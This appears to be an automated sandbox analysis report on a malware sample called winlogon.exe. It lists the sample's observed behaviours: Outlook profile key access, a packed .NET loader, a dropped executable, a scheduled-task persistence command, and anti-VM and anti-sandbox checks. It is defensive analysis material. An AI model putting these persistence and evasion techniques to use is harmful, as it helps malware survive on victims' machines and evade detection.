Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\winlogon.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: winlogon.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: winlogon.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Source: winlogon.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation:

.NET source code contains potential unpacker

Show sources

Source: winlogon.exe, GameSettingsWindow.cs	.Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: UlhpAjSuVoTa.exe.0.dr, GameSettingsWindow.cs	.Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.0.winlogon.exe.7d0000.0.unpack, GameSettingsWindow.cs	.Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
Source: 0.2.winlogon.exe.7d0000.0.unpack, GameSettingsWindow.cs	.Net Code: CF234052 System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])

Source: C:\Users\user\Desktop\winlogon.exe	Code function: 0_2_00F5E318 push esp; iretd
Source: C:\Users\user\Desktop\winlogon.exe	Code function: 0_2_00F5D642 pushad ; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_00E59742 push 8BFFFFFFh; retf
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DFED6B pushfd ; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DFECC3 push esp; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DFEC7B pushad ; ret
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DF2188 push edi; retn 0005h
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DF2157 push esi; retn 0005h
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DF2147 push ebp; retn 0005h
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DF210B push edx; retn 0005h
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_05DF5BF7 pushad ; retn 0005h

Source: winlogon.exe

Static PE information: 0xE54F68FF [Thu Nov 29 14:58:07 2091 UTC]

Source: initial sample	Static PE information: section name: .text entropy: 7.82547153814
Source: initial sample	Static PE information: section name: .text entropy: 7.82547153814

Source: C:\Users\user\Desktop\winlogon.exe

File created: C:\Users\user\AppData\Roaming\UlhpAjSuVoTa.exe

Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\Desktop\winlogon.exe

Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\UlhpAjSuVoTa" /XML "C:\Users\user\AppData\Local\Temp\tmpD7F1.tmp

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\winlogon.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 0.2.winlogon.exe.2bf1b4c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.676484155.0000000002CB3000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: winlogon.exe PID: 6768, type: MEMORYSTR

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: winlogon.exe, 00000000.00000002.676484155.0000000002CB3000.00000004.00000001.sdmp, winlogon.exe, 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL
Source: winlogon.exe, 00000000.00000002.676484155.0000000002CB3000.00000004.00000001.sdmp, winlogon.exe, 00000000.00000002.676341483.0000000002BD1000.00000004.00000001.sdmp	Binary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\winlogon.exe TID: 2460	Thread sleep time: -36574s >= -30000s
